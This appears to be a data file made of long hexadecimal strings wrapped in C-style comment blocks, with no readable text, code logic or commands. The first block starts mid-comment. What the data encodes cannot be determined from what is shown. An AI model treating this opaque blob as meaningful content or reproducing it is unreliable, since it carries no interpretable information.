2240716798f88495a17e1d7e274bb810c441a980e7a182fd6fd7219a92573f189416494a2814799071f4668b21f3e393f6a974fe12c99cd151486f52334ae87b25a22924fbfe05607ec362c340f580b70ff7cd0bfef901daf706f92b97064d03febf6cb6b928bb654d66ac843f13762444abaafc956b83a0c9c1c586ab2d317e4d160cb59a94023b1b38e869ce3755e85cdd11111f8d0fc599cd52ee71843b4a90a8490babb82d62f02d8f365de8de4deea739beb39d9887ed5992344d1dadb9fc9914f2acd8e263dbcbea41e31dd1c11951e95de4ef22f38bf122d17f8f6874afc65c0dab670e52dfa4b4c8e01b62bc7f1ca663e0833c8e89f41830679fcc8ab9210bf78f85c00665e931e01ad0408ba5e5192196b1446d179f52c0d1759491d95bdcf42bf23d1aa225bad5335707ca26db99759ddd8cb3ce53949f758d04179141e9f9d694d05452467662641bf6735c8780bbc616ced62112bb98e7f80bb74b07e25b0cb8b1d5347495bf4c9b375697d35f7b3d3c5f4bf55259fb1053720f0cb78b896dadf00f30ec6c56ef1c8c07090df5f86829a44000b033925064b1af41f8a17bcbc442351f93e140b9d25d59940212a65e02bcc413d76376e923b6d827b33682238b6f320a5d7d0528e9904422444728282a0c9ff8fc584653188146dc0e91d3457a70c3ad1741e621c12f21b48ebee04a5e23da6ed5c4cc268b6d3a5e46ab3b1c525490498359534a0293365dcaf9f03e5a623a54b383a3fb3205f8f750bfd3815bc9f415353a91fb8ebd5a9b043d04d069505969396b0d0346e8e6b823f8ca97fa831eac8ef2b2c7acfbdb664749ca249d4b4609add65c404bf2490f6d59e9b6afc26c9c798e80686a73ee4c3ef11e048900f6b335b36cfc708c7bda1497461aa1aaf307e07c4628478bf11ca4cf9da6dc021b7363cd8a956821399b578945e454f992d77bcb877887090271bd34f91829ac34c157b597549f06a256174b273584ee4d281a488c7ba272332ffeaffe80b65cc3bd78416ba0b202d2218f3b449bf69ddb61b305e17f7d6c981d8b08e05ffdde0dc1d32589b925852e30581a4097c7a31c372a1b15357a5a5a7f9e2b0b4dd927d43c276bf2e833c9ec13a81350b59886769c23fb19fd6a8fcb4f6f9282cbfaac2750ed1be75819287d6bdb59ab53638fac4e07069dd87945c95fe5275ac3e6eba5eb245cb4090f405e11321c93357f403935abe3d67fd58be0b72902ffe5f407260a5722abb5a29df73229807435589375ade9527bfc95d66b6e3263c142d6876dcf4b20f4a650d0d72f2a11b5738a8e6c09a5ec35a2cc301030af7f73bc4e64465597e9e33d325ed0799fc96439af6a791bc3052aec01e3eff80b08867f6e8c8d9468554fc2b44f0438929ea7495f164df4896ce8f95f8d3e84f3addfb454d3998f9f7387dcbdf0a*/
/*f513b7793ea616ad5c45471bd7c885583f592b6c2f7e307a85ecb6c0b2f792d758f6b05cc183eab68c40148e9e8ad012e5359f251efc002266e5ed65c31184e59ed7baff75500cb79eea52877a763e00563a4aca3dd9e2eec106b2f226f9b2eae9bff615da0e32e7120868385c48944092f9d169449dab9f03b293b7b62d0c059b1c5c0915e4b9100f1daf94cffbf8ede56b036dde263d6dd9ee16d5434e5e2e0ca1583cebc941a5b192514bd004cf2089992823b79bd60decf7a4644615881f6deaf54d6b442d6814ad7b54673b3726371825a23683f5eed45e4949fe3c7c1aab116aed4dc02a7d63d0e5365839897b0987f80a33e9ee506a9ef1bbb2ee39c2187c039dd473ef49b4b37eeb68504def32cb2c9192f908b5145e4b46b941e516a99eb70fc274c9c83e0b1569e9713bccd44ed358692647ea28ace6efe54eb00951939a641c33ff07add15086ec75377c094d51ec471ef4f4f0aeeaf22f3717b523bea64c731188c8ba9c69a43f14e87790378e76921b5b7ccdb7aefa2fb5e4a1ad15f621b305d5e7851686da6d5fccfe46bc6f27b395d1d7c5ce7a5b9c773a43792f175f06de8e763b7b895ee77d0472ed6e6707345692529fcdc07a3db38eaab9a916cfedd4716c61178efcb60331ca81ff12fb6681b2f2419ef48f9af3de476b531686ee524257d96d46cecb9c2434c748a13de3e58af62b9a604ad69f356fa3193c68e163750a61d9890f605eb42e50a03dd23acb5e539d01b654357c257a5270698d2d21fe0e993dce2885bb916fe54e75ef6ccb19f8c18e442c6679e39ee4956ddd260a3d4e5b28ba4e89c6976dcf47b6ffea6dda89bac1ffccbda91459701b16bea4833ba0a785b3f0c66ec7a09ddbaaa2b7bcea9427da2dd40204293234d47547442813c0ca32131d1cc0a06a8bc526259f0e3930f5ed0a5576c4fc42302eb884e56c1c0faf7bcd4dff5ee5e7949e0b4bb02bc3996c0ef57b8fba64d96df81ef327e5247216dc16ff7cce05fbfd40ba84d41c4a75056ee9f38495efd1aad240f3db712566dae319b7e19c9d6170d06dcb5baf17f9ec22c7ad02b6632ff806095c54e44318cee8681c674a2fc50682ad93548c56d8c3ae3c27f60c12684ac4a399d9f8b1329cb15a651270b3b434edce959996b7b010b1064da95841b6b2b86d3e13dacaefa38cc66c9a64b43f2b47e6360ae082a5a974b6d8a2db7fe84404d85c888aa5ebb48cbeec3fcb521b172122d02190758371e5098a797089c5713f13907a12559a6899fdfb6cb9bfa671856fbb641f00872b7c1de2c327015ad30c729a49b56457cd3a5b0b26ff082c259b748cf899930b741f3feddc5d634f920fab161518975b0b400ca21958c8926564c5486ce62b0cfab19752bb3d253c62104bb14c994643736548cccd53a07971bc37dfa2752b4b9e5c63d064c3a6b551159f38a3f13e348a2d95708b8e541c78103125a9c1e5d08db8fc718a22470373e77b2f230b6d7d7f81450c2eac11192272328e99b9275d0d063f234e7de87c9b4e8e92e62b8ebee902b01fafe6970ce3db725727e56f8b8ea81902665f78ccc9d3f0dc4cf54f273188657603bb407745eb0e28810fd8ba8a285493b6835e950528c5f1c4ed258c5314442ce95711fd9d120c7391864d24362a2c8886c3e7ef9c94aaa1ec92ffef34f7a038f392cf7231f4b6802a19f714c65f9a9fd4aed6b48ae22dc516fb9491ca2bda4c0f5a818436a9086ba8c2b60231002136f897d16d6d2c1679c764e723a9f24046ec76a89db0e0bb9d945073d76001a7b2ba78683c7a8bd0e6ea33d28df31a0eb3d2287a0a8510e62d4d6861b0201eb4644a5baa07b90274b86611e4867daad260df264f3bc74678fc4a030fd4ae0dd85b0d6f2bf82b38c88e2197462d7d7427c708322ebbc58e8fdbdb9cbad787616007dab181e25afa7d1d1506103fcb012cb3da9fac8b9292551ed50781345e4ba7afdb366102d4f80f7fec3e4e0fdbd5cfe1772fdfed8790c89925f87433adcc3be704a781aa1acd7b76a8ae90b79ec983e748367f94ae0eafa7529963bac0372b827edc284595bf7212fd5da9eb7e5c58cbc2e35b257756248728f7a2c5c9b1b8a6df8d61c8b10f543e4297b08187dc70fa2270fd62189d0c8b769104919d7286171e5bef6394e981b6423ba45cc3e64edfabfde06821c8a07049b1bd86cf853d5e2d51e776c1539ddba5245b800e78bb852efa9eeeb47b575e162a9cd35c537a8dd2d6815a22fdc72d0aa36b11b8742165ae7fb617aeb64fb4c7dd2a15645716a5f447ade13aab7512779d5b5a49567b1f697dcede833bf3a7a5c633f1214bd9ffabae7d045c8cf8723bc698ba988c51848bda7e3751f79eaaafb7b4d68a2c9c5372a41b5daa43418a2b2c41cf94436021cc8cd8be6e6bf6fbae69c2b39650394dfd0efcc75d4bb87a594a0a236effbe6881e21a2a0a1b22106620d374a00e5a9c6f7b49ee2b50bb2260d234f77c94204144c1f7e6d8d86de995066716a2b24c96df28e57dc28297bf309baf21eb67f5bdb42a02d1c7cf2c60e8d9dcd5d4c2e59fc56e6694192e61b79432a44cb325e4d1835db469b193db36a40563551da56db99be0ec3ea8c9e23b5ff95549014a760e00fd89b64d8fb9f0205e38e4dce222b91455f3b2480bb820600fb37befeaaabf988afef72f1e5812668ed533df0ec84e23707d167ebe76db102e1e581ee12e1c81acde9b23ad9f76a25c7c725a39c1f0f6d1aef03b174085b52bd6824c536887079dfd6fb2ec10199a5a1c5d5e5471e8f2d2b0616c4110186fa79700c958777bc429732a*/
/*ac06b1ce895ee9c8c9bc84924119cced33301c4fca8e03ae562367cc09a4667106f6183b2eb50b9495f2f7243cad38c2a17e562f3a989e4447981fab5cea4e1a8bad39609eb3613af525ef3d362311f57c1dae65f71a11e31c57f26fe605e07b29854f3a34c8a10f371655bf5c4e255cc214eb3a53a0b2010f6ff181470a18733c007a45090a5a3bc90d61466bb559d30d03ce1a415b08652d45e2174139c9ac54b7586cfe68bd679e46bdbc38b82356c069928ecd9261ef430b383ae99131a05e2601393b0c542e57f2aa105a8625008d95d5ad69d318a4a9ec7951fe9f6e262277d66d8776b02dd5e2176ab52929d594fb98dd28111992b0c8c2e58fc8d41cb08bee31e335c94fc20acd5c6d2da165ed574f5349609964a099e6fb0cbbfb62bf06883ab13b57d89c14df9f16c30ef566418d7588922d80132ae0e8043edea8b9d29b240a25b7135c1ecf122b7b90a152739f1c4806f0aa8350a84ada05a895f26f87287ddca8ddd643e6bd91e117fa0b03c606fc87be289e81a0338bb214254c04f9999489b5359cd16df20676f3ba0959cc8f6e125d21d04fbc11bad567c723c11d7ca1140c76d488812248544659a0039434b6254c36a08686dea3fd1e38cc50730d7b3027fd3c500e7fc61a3e7eaa5b26e5acbbf6483a3be7b560c62cdc056a0cbbe82f6ace1d874a378514dc50dd0b193d65c5302aab0bb502472060982716cf6c08dd1d4676c66feb3b3ccdfd7110e89bf3757c0ccd90a330850dd0a34f5c5ffb23d325bd84ec39b1c157b08aea369a5dac28a6a9dd4bbe49bf021228671fe7f4ad305dbc4c18e4d1170a4d37614314a2ce5271517e26fbb2e2cd3b1ebcde468613840d993455d1174eda437c5489cc5dae40102dc1d91aca4a7426faf750070c7ebebfd608139ecb39e49e15d3d76e6eae7c631b27cde31d65ec190a75717b913f472d788676b86c9a1c00b49945b01e930dab1615aeee6e51d4f85c8a9e48ca1466aa037b809b8aafcd4e867666b2c17bfa68b8a3ea1d378020fd3e34a986603b519c9b280c4f3f16505434033ae6585a29be751bd13bde8379edeb532b26e0170a77ae14ae2418a11655e9deb32591ca9572b9ae0a3a5b1e4d7369891c682c1d8415f8ececc1ecae5e0224e4dddaf6926a7ab030de0efb0c5aab295621ee7e0df3509adfaa695390b2e02a85a51a69ea3bdc383e5bf768ddafe3a26e229d0f586f55bf858bef54873ad96beafc4b6a3b1043b10d6fb939b448030806f846fb88d1b1c08934f11ef6c81aae88b17607737891585ad5f8408f428dc95298a09012564c60b053817f8481c8bde481d32858282a6e4d6060f092fcfaee7d84ddd258e36a8bd18ff5e6b49a0595c03cad6391589fbf576c960f2fb773c2aa844db168b1fb3ec2959f29e72c84d08fede781849211b47d27d020a039076b9810b7d327ded006a6cfe4028572e59c156445b92a0bdb08b642077671eea82aa720daf1d78cf4448ea66b5678ab8c4e670a1b1d57622787f3ed6951942112196941d0162c16a92a8ccbf87c9eeac70ff97b6372e33b24798bb567aa1197d5d70489946195ba6a7a9d493b1af589ba28e694fe3443835b34d7e35b61b34634eead02a5c58a198ec7d8aea4b9b6f777a9b105f62d65c23f03bd7317f733d8bd9e23a2fda6d5aa890c272cc580e4d2068b9c24e1fca4560ac00e31f4800c64d0038da33e010c53547db41f52012dd1749aa121ea69ca4e88fc49d50beda9c75f623d548c3ac959c7f466f6069590654501a2271d18d094e9685bded633eb52f531c437f67b4331195752cd4418e9c7aaf4396f01f7f05a43dd9a19ce264b34f21e75c74a29730c90777a70f2e02bd0440985e4271a99fbe35cc82d81c9d5aed491e743f6d8052318b0ca992fe656f8213d124212bf11f3d02c8b94618492ef254a146739882526a7b228ba5bb4d145c0546dc0645b78b6a965f3e06ae78f29c478fbf408f1504a3c6113091387f87f24b7f4423fa342a3e80b09e84a0594a93b425b463b36feeda2014e0ffb341b56e372ce2bcde1bb1e91138242fe8b9bef9bb53cdb88bc58c0cc90896687d6c6e9418953d4a649dc6a2319ed1a69511a34202a6b772488c8cc5b8a46a3a4c2a8231cbaa95d143b4d94171cdca77c96b0de4bcfd3c4901d1294966f8dfb4516089829147b585d689684fa541107b3e4ee4dc1ac44bc4f66f17e8442361f4423ac3e36d501dc19aa2a96cc9c40afbfe389f82df191d819e35e7639489833a1b778e0dbad53b843a04e2204f32c428b270c0057da155d2c734939757b20c6d9398480f1871836b232cbd93bfeb487d1b80951606122b6ef451fa56b2cadc2379cfaae5de5647fa2490b5f544ddd51e8b1f3294e2443f68e1b8ca814d3a92d9a42678c9674fbf684813e016c550aa3e47c6ccdf649f46d388cf8e947d395a052deddf5f6f6f9a94b38901695bf4db9f799baa01be3c6f0ac2d3f7240397f6e07b4ac9fc6faedfe16ec77cab3f309f606cd514b4933e450d71f6d8aa78c6093bb33ad3fbedad55c90fbafb65c6776620364d4b9bbd828bf567d5eec628a6ce69236e095bbc9709e509fa0fe88a89b0611c0a83665cea27fba62d4061ec5639f75ce7024919aff96b7fd3a9e23227f9041b3dc913aa572df996139083a30ddea8aefa77781d7a35d216561d2139aada61237d150e0dbd39ad75d602f87d02036e0b0521f60142805269978e9234060158157f95c243da7d156ac09513f1446ae571136b61f19a133290cad61efd6e7955e935c7daca878da14dbcef1ee413bc3ca046fd1c3c0*/
/*9f3f0ee076c7b6e83aeefd98b0d75d43ee5cfc5c3226cd1c10383f6a1548eeb1532e4a25ec020383f4c5eff7b150e285d0cc59aa83dbdba0764623849f8caf70f1dd33dad4ddd2d5602b57da55a8b24746cd21c784db7585f167fc6977125b09647fcccecf69bf5f2ed5dd66e7c30aa5e03c702cb083ddfdaaaf030c5dddebba75fae3a08ae9f26ff57af01a0afa79c381e0a4ac3a7e0f6c8033132c1ad70c2bc5d16a02794668c27d6cdec82014e1d5145e6fab349c43c0cd3bf31e632431c67d3cbdd64faad036c25b1b828f1aca18fb1069a7560bf10bcb2ff5822590364cb369d1fd17861d2505b77fcf362939668c1a4e479199d273db78a8bf3f442690f9cb680e4bdbe40cbe3863883f4809490c25d5e2cb98afb6c00e651b3239995a5dd784b8998d2aac4b92ef8e0775e76e46a3a011c31b4457e6bc6aff9c0baa9bcf3a59382cde748ed3cbc19ef0dc4f2c751a41181aca200a719d15021665fcbb93d643ff464f835ec13d26d1a52eb31ba954c8d0ffc60301e215ba72699ae345fb16ca5a0c6c5e473e8ee779e99bccfec30365efc583616abf117c097bb10b148236afd34d8d22db5ac96ec15616df721600eb04b070420b8be53958d26c0fb1b532188ede8cd36d8708c124f1f9ae8e2ab186eea11b5fadb3b061df9d8e0d41de9094ebc542090117dbe4338375e0848a5f3e66d6933b74d8a4be2a5e4c35f9be24e487594641ddf37b3ebba1f54d6c02e1f73ade1349971bf533b2c64e08b6067ea070632c2fdc46620f316808a3675d1243853b2ed89166447bc915dc8cc2bd600be80ead85b54197b24c85805f245469da41d86d70b57a90c0cf04725c752d097c9c402780a0372ad06d02680153bbdcf167bdadd918920718fced451ac2f3dbd18420f592661d479f0f1c1a804e0e4fbdbdbfa1a9f0f1afa355f5a589849a2e80b10f4d6d3420ddc3e1494f4911bd1ac341225b5640b7c5256e364984060440b550afca74b482ac476dbb1c8f5209168f4ec642be9b7d21c891d70a1f4d7595ae965513d636affd3ac54aeb38267c2c356554cfbbf1eee5563bb43930b31981793df4f4ec4ec314ca0c44c2312f2041bf52063c113151e0b48d401cddf1f181e30359464eedea4816843a1290c2e347b99d1c590d0ff981c9315a9ae0152e66b09286c0556336ac894e18a9e40556e2365ce304bfec117bca2dbb34aa1283af7ae318604677354a4431966278617e969dee6c5a93ae5aa4f77eaacadb8c3b451f350cd3296afee84aa999d981dd9eaf73fbf86fe3174373528e5ed828e0fab661aeebd812b38834b83b9622a8899b91c92ed91c6a9953c8c1cab75fdc45589e383b6d329fa7152442f50fab043aa536280ec9e92b4ee29498d03fd148a360598a5ae3b21d2e999ab96c76d7e611b08414fb884999607b8fce4574c7fdf0d10931f04a4b230b5a51f5c6963101d4babd63351c562a51e928dc783b2fa870f85c990ea2c6a095dcd748ee4c84e1c47a6d5636ed540874070ae89fec3de42283eb70b77f3ca6b0073c77edc16f1671158339d67bafd75732e45ccd712658d297a7da7401acb9226a8160e9831c1607180cf0fa6cd6c4f587635658ede70eba4adf003ff4e2d5c6f0136b0505ffa7d114a5abdc9bcbcd5511af52a59f71b03fbda8e37758fbe1519841c3e076fdc0ae2dcdcd460085624f6bb684d3a141c8448ee988d3ff523cd3bb5100f13486692f9e21a89f00255369054636aec652735eab6dbb29239067774fa3b384b3a10f0d5a39ce0c14d90a6e6aacbfffa99404aaecdbf9da4ab9503a837f89d83ff8c8bd8e0ef318e640fe0e54094f73589c584d76243698ae9c14346f0dad30d7298728d954c803e9768e567014ae4583d18af3da7fdecd71ef27b1a374ab638194b636c1623eb0cf60e04eb503f0d1b037ba165d944c868387360cbb7dcdeeeac13815e05182136094d035787460b3c000072e89aac880b4bf6a666863bbcf428c90901bd6f269e152d15017b1079a7616487c106092d939e3907d347214eb6142ec242a316f4597b84d361cc24b059f5ea7ed14ab6dd61d58872c61d8cb3907829f344bfdb2aff764ac947479825b144d3d75bbe27a98ea0f4f8c404b3498666ffc95817ab8b17fc8a94a1869ef118093b752c42180ccacd9ed25fd3edbd094c77709dca7d5e8a06b9f4fec1611f68b19672340685294aa6ca2ff8f023adeb43aec3a805409ae6da34c618309249dfc23f376133ee0f9dcc1c472d5cc7cf9482e5f4b11f57ff13145aaba97d79c32a808e2d3b839bc2b5d325d6c2c95fd93f12753e0a69163b312e21cb503c7b9e1229ccd2c50d195c74e713d66cda674300ab6666af349cd2842ebc0d268d0efdc56689113546da0bdaba108292ae204d5f0640562a65f20c8e05b49654c30455895a3657f5d5ec89792cee717994ae3e1abcbcdcaad720170172603e6915e207fdeca017d484255f890ef538538f413b7fad25296aa3a9b5ade43d1373486db7e6e3e5ae2a833fae6ff0d4525b4d147b9d777adcd918ccc3c71d9b463f55020c59e11a61a8e3af85a73034a020f632cb9b95f3f76cd009729c8cbff6710c8b45e4f55bd1fd2c11fe7cbff93bb5d8534ac16b67ab07bc5f16394c4654ca63971645031f43189c787bd5ebd146f9429d6e152dad1ee3ca1f8ead463dfdddbb4532b8e24eb62a89457fa375a59d71fb838cdcec7732a95a75e756e5edf298c9e148da2074f4603bc6243d7ece7a986d14efc8531eadbe2cba9aa12a04e834ef90d0e7c83d8ddbaf2dfbfd1ade8e072863203227cff2d*/
/*744f4444fa7aaa03e6cd21943b89fb44a41effd3488ae92f4026847326d60a9e75b4f176d140d3d5cdc951c3668710313490b734bfa5c3723f9c61afbe4261be138f3f9262ac3f88213e7847e33bcbfeff2fada94702432c440dbb0a9fb1512a1f9a5d96b6b7048ee5e5fdb153f1df6e9c6a7322b5dd9d3c2c8b53f67e141c5c847b3416398e02db71f9d1944674372c738a234c65d5c29dbe9e878905e978d86fead9e21bfde686834b50ec5373db6a2a158e759913a7cfa54b23f1a4da94c7238aa6f51a9db25f7b510fab4826e798a35a7e0e67bcb161963b47f000e93abfab9f409db34b25a76867bb2b39d35661498ccd8a34b15d341fd838b95c29988d0d441de41ad6167cdad66c2fccd8ad6a7ac5246c736a4a0584eddadd0a419f201f6df44bbeb6f87d99ae75744e68fd947ebe1dabfaeb07ca3807db4506bc45161870e65c26b0f7dd07a65ee6cc362f4d889f4611b6af48b9d4b609296bbdabd6aafc1135b190a8a16041299c08755f2757f54f8c260e310ddb5c428b8584858c362890ec48da2c0f95e33278e48d3957ca20e84e35ef827005ce39b9999feae1ff33259b444d0a48d2b48c970e388b4615d136cab0436b142f1453fc08770b78deef945c3f8d9c89eeeef80ba4bfeaac6e9a0b4577170956de33484664bf9c6531aeb02d2565ff19c3a9e2ce0edde6f7a739fe57aa9d57fb211591f337da1d655de6d55c3c715867e1aa88343d8633fc1d5cbf0216dc5011e0adaa98a839b89cd7664ecb6c1662f51303185bcc07ed630c61d12a61af4736a3196d99405a3c4b1185709976a8d0664b4f522b47da6769b9ec29421faa51aa2c541fe57248b06ca7dac9758d92428e42dba9cdbde66c78831729ff6a5f557caf02be7d56ea36b9399a18cdc0d946ae1a1f5f3da1bddfaf7f1a8648811be567ccf16c046403d37889330c0e3fbdd22e445d61205e2c89cd64b08f8ec71526977c04615c103009531d25c38a27b21f06d4b41ff58daed9ddde57c3ff25649fe271587d9e7c7da5138845abbeb14294a3561e0bfef135115b5db0f6382db7068eeecebeedb4fa36980f07773aba08085019075a66c2be1dae39ff26a14786591e81a61247db8a416b1fb3b9844991f759a82a48476aae3ba85c541e3b4afba61085eb3d3cc4b6109792929a0fdb42a7cc1e839062d2124db217680584e79832016c499fca34164c7a2157109fc1fc3d893779d4d84dcf76718d459b6a27ae723d3b6949c003e4d5d699384e9c76bba3de0c61c759dbf6a004c4a2a93817afae72afedaa47002a3b6ace1cf3d3a9eb01879e1c1a0a80754bae33703f855e224e9f7fe924d386ac0f6ad2a39ca6a95332c075420e0806b59a05db6da1fb7ba674e84d8977088a6e8ba867c10955e5014b7de7b7b24302b57b9ae1a37d4318dd3540cf6506d3c6432dcdf66fde53335522298a973722ae0ea2069a1067834407b6e43e4be58cea09ef583cd1b400b1fe6d173dd65b209700803e7780357fe213a3637f95b36836a529370101fb10c64e32ac238282164b788be5e5a8b73db4d6fe07f0a0ca132de7b4fe1abfb90592a42eb2f9bad47dbf64ce43afdfdb4dc2e1297d8ea15f68bc844fe82a5a0cb54e1079ab5f5444f4d23b157050f2131edaca587debc12d87814d1c53cedadf36d92af1d1a4aa0afa3d34b48c1bbee8a9b9485cea71200b08df37b7c1a21606052e828e334f9736926597f1ee4e0536d4f4bc330b8abc5965228cf55a7288f063a87c5f1ad49fec94d1c9b4ef20d0c036fc6cecdc460e0e19b6031422ae99b7cae27835e12a8086843e8e3702bca07a496e040b10c203f4d7a297a42c29abe3ca9a45b22f339f41ab0ff3d0e7b0386e4787684f1aba2bc34faf0554ef11b9eebe79a0200e9471d500968beacfcd0e5bc86f8b3513bb13c9f4c95a44e0682e5638df1305ff7be37052989050e4779c3dded5662c34545e721a60f11df149fe4c0dceade33c22f3dea04b2ff2de015ac601500e67914b8175d4c8f930b01747af81662bd7126e94603bbc4c7c76c4c7c52b4f3200cf16a418cba80fcdfbee8f327840d14d583bb710cffd0507964eab95107e1859c09a67d7597b836246d5e8c125d4cf409ccf60ddb88d61276ce942e41c78270179ce1672b9a0f185a826a7d64e25723585d4291e0000dba67d8ff7cf0091e562a45936ce19541e287669ca3002010246e1eec7150d56ef22c5c7fa7d3799cdb0cfdaad4f428af350db7f140e8909ce3d302f72f2608828db53d111edd43a5b2b0e44505724b6a86b3be9d073c0ec84624657334598320fa8cff5f292156ac3ff349cea284885e11d9fc3127b32367bd91dfa1c7458c389c96d35ce6c0a748a292c1473f0b6ff5b165c9c12b3353d8bd729c6ac48c0433e88471c091dba4c741b5c6f07caa80b04662aa38d7c183b5ac90c19b2fad5dcee9f3673a898e2954752bfc529855842d4765e7b855fd3c8e0fa57741146c1736d0465e9e65a6cacd9cae53055aa23564f924ed760cd32424df6faf7c661eca671df5340e4b2481942950931b6e3c931e6842e37ccc1ffe917ce586cd8fb341e1919cd5acd4909a0a3a69455285899ac857209914ca6c8d309e6ec8ef93d4d8b57c5b672a81fd5ec77fc3d6f66a5c599c50e34456b29f2eaf9d3de24250b52f36260c336517c3de02d207e4ec7a4a6b726a867e71c73b18d845dd5f0c136f1da25e1b2abf4350cb581c07de4f39e3a0e7c9407beb940d7787602452cbe9c73276f6486345c6c605993fa2db363fd778097c97f20749158a45321b56d6daaad1afa2527*/
/*313b9e86bdd0364a8cdbb1c7ec44d7c2dd322d4df5a786a19b94e173a280f215ea47d0cb8b63f8786d92990d3f5a50170851b2d9c8b7ca97987ad3cf6c5f80c100be73183d80ad9ca9acd073adfa357678bb5b4e8a2d67a7fce73596ed6c8689eb946a33fdd73e9cad82bd2990de660ac975344af34c9de1490f9a97d0bd5e3c103ea153949fc692904932e97913642887d37feba496bd700a74f0631271e11cd9852180e575c005a83d59661d5683a0efd8b36a867f1e5268e836606c95f028c1c5202568b5c6a462fa360a034ede9292357ee5c87eb186edd0467d2c62ff747d42859f8a12e18f357050d8fe3020d966bb914694a27246e705f02687627a3d8007b5ff797b7cbdace7bfa8a697a81e08149f6069cc966b127d2b4127022f3c06d07987b1ac440135f3ff27bc5f91f2bc04f85fddf046c50def0d1f041a8722a729e0ae3b2ca36555880644560fbca4c5fd9e02117ded2bc760df8df736b033ab23fb270eff71d11299181790cd5aa6bc3e9fb47c419f14b160fe59b1e33891f833e38902083e776accc78fd31c043f922cbfaeb19ca2ecf48b8337540ed7490a54477fc85a57601748d031f8b1f2ad20cc5ff745013e27d1a5db2c0bb74c78055faade2ffb7eb65e0572bfa5b08a4d9103ec96e84e2ee5cceefdf234bbb5e191d57908c40c9e26e81f6e82914695b76c81370e28ebbf4cabf6ec1d0b8abe12950495d5761ce14446b2e80c207b0559c6d18c75cc31f6fd7e7cced045614281de91e65c13857707b9d991122559124861a09ba4d3f615d36e58f78f9921d35423d40cd697ad9b68d2a3d47ffb53bb7315b41e3e440556ea9cd1a89b8ce5ee19fc1fc6ba6e5476685ff1c23a538813bd87e691a85ba76c6426847ec4adde4267f04d12197e8087535107c3680b51fcb85dd77465b79468b25b18ae409f03dfb6d691874c9c1b04a329ef0ab60af888512367c65a3c82a8b0dcc377fb99aff435e039baee475fa770638b15dca6601e1ac2cf608f23b97df6b8b5aba092609557eddf29b13d58127dcb061f9cd271c26fd43df156fcbae95c3974b37da8552b0e5304ed6cf75c53481b4087b9cc47cc1bba2a6c7e2017f460a5266fc10644ca8a01ef409112fc55a9715f7a68b5a1e74f8fe6e11b136f2e0acc42df340ad89a156d52c41a179db93d40be47c52cc24d5e2f278ed11473d089d68406436d483931056cac547018d3a650f5e179acd62a101ebff58a5ce945a570e011aa1b45cefc7fdfc4fc94cce63652799356e9b19ca1ad6cb5121195d21c64e570c9d277c959faaa930fcd9e76a7f9feb3dbea12780820d41012c2a4199ac1d4125e007f982cc9b019470811c1b2a36d6ec233b094d5251d2df9fe461b78830995dbb75f480ae6960921c27bd8136de2b2bff11e1ab4a74a76b0c1332e3eb05de1bfb83b274e125cd4faf66973b02ea5eed73ede98453478186c061af543be85f8b714d5eaa5b775ebd352f6d351ef96c969bb56b68e743eb413d0d30b1df68719d7915a6947865d7e438f4e6731511f6577990092a7d6937c9b644bb8dcc0fac37fe5cbc20f1daf52f9b88c0b4269008d0c153dacbbac7a7fbe95db3d5d2b378ebbabc66eee2c81a567eec7108143362151acb04dbe8138bb841bc7c2e8b2fa1db26b65a450e41fff7ac6378ac38826ed64d4e5c223ed10094de126506b61d956c398a4379231fd940ace63bf873f21917092aa7b6a5de5394cbaeafae0222e78a84fe2e1006699d28723b225a8b6f7e20b3f048c8d937804fe39f4236bbadfd07da66a3fe3facde2007ab4f739601de3e65f744064d3d0a35e6063a96fda6f3cc5a55d7c3f36c564f3aeb281a415c3e3b239bb222ad247ddf3fd23f1f765c4061359e4faaeb155d04324cb55ec56f2a77cf131e597d23bd80b36b3f4d31873b0e405214d43855c7de5524b0055378315189eda4e945d2916bc26f82d6f5f064559b2530ee4e861f3f0cd896a6f6452333dc0b2719ef3522e7f6172684c0534487fec168cb31ac3b8924113988bfca4aa37c3ed3b2c2def80b5208e3614161e8aaa7aafc1f410dd6a42f4070f2ac617da36456f582429601aff6fc6c8cc4963a85909eb6f5a8fb42bb73e48a3042b862dbdce4e7b6d45de221351b6883e815fe250fd84cc04a37ad0084d795f18d7d6f3951dbbd1b8922eb61b4feaf9338984aa15b74d6b025e5f260afb9dd6aa700ac4b2558fbc9a1dd6ccbe62e5d2ab643d0c825a447da03b05cacb40ad0f7fa46cc4643fa9ec61695e4e5817738bb81d559bf461824f2ebe16e2e0b922535fb50cfc4e1ed568d0e33bd4b79b060e072bea5ae3a1c2b8197a2ee5569c0cfdaffe5166addae1b9b976d5511d7dc825590e64509961f41a6599504e90e3902794b751fb853f276954f7555f38288bf3880cbc7d8976e18d6f4219f62033957d831ab32d500921dcb4c75c54c5f1466ce060d8f00cd945008cf680a5d7a39ae54459e82a326e9d134998dcd3b1ffffd3effc9bae97ced667ebf69d91ad8cf2c1fae8abf6b19c4fbe8a767fb7f642d87d751514f6c2adeac9a77969b5bdff094711e33f2d8f932f5b845925fc67ad025bc697c42028c53a3abc93b4496281487c1490253678bbde796a21609a4b80c5e05a52bfae6f888b8f2b3373e1b96ba544b0dcc38f5a8c4f89cd3ac66e951563eca28bd25a9dafaae64c7ab3b53a4e099c58ee5b1ecf10709d3972fb269da58aec17846d539b085a1fcf8841fd0f8cfde75935af686beb2112554b6abafb27725d29cc71e3bce1073c622d621e561b58cd02099f3c9ba03be96c*/
/*fcb6d1ffa2bcda6f771832ce04b96ee9b2c356a533ae246522b33ea64fda2ccb6b3ec0794e102bea219cf3dfdd4c1940e8ec1dbd9a62016af6321e286d6c44876cfbc924dce0875dc604f56b1107ff63f8e1ee04bdb2cbd1c5214816f4ab10b5768c9689be4ec1fd1faeef4e0d8ee64a3efb6bcd5b84f45b409fd5995c8fe87426b87b63e977a45240d597ec17ff17321ccf50fc07101b4b080ecef93706f2b1401d14bdf0274f11a51bd60718a06175474b9373b2e835ab0f352c2ba143045b48683175ab06498f24b74b40b92a44194f2e2b80d004edbe6c33d3e211b74addd5f0eb6b3db2acf98b3489bfd52b446b14ea9fb60a0a8bf940bfa200073ac7eee0c2dad4c4e4d269581b7424b7b1f9ce717fa3c1016fb4bbdd764b35ee6d3f3db37a77e1a81e683dcac220c320eb6ae07ff6b1abc5329c5288aafcc37f68540fb30d82e5133220e157726542ec17a526d82b001f3853b1956000fea1ba647e378416b8b063c2e181c3eb3ea43b997264fa0b9af09902291a71257412efe12283747efb5b713118b6b5089871250230e7d9512b3e696c36d6ddcf65e253eab2e486c1be873852edb59a28bf6b824131b95a38b41d1b25f5e50f66c9dcf889768e52259567ae922abaf6285e5a9a739d0ab74ee4823536f2ffebeb3cd9288af3b78fc93ff02f5443acca4c504fd9576ce51db6edc088defd66ff5fcb94eba2511576eca697ec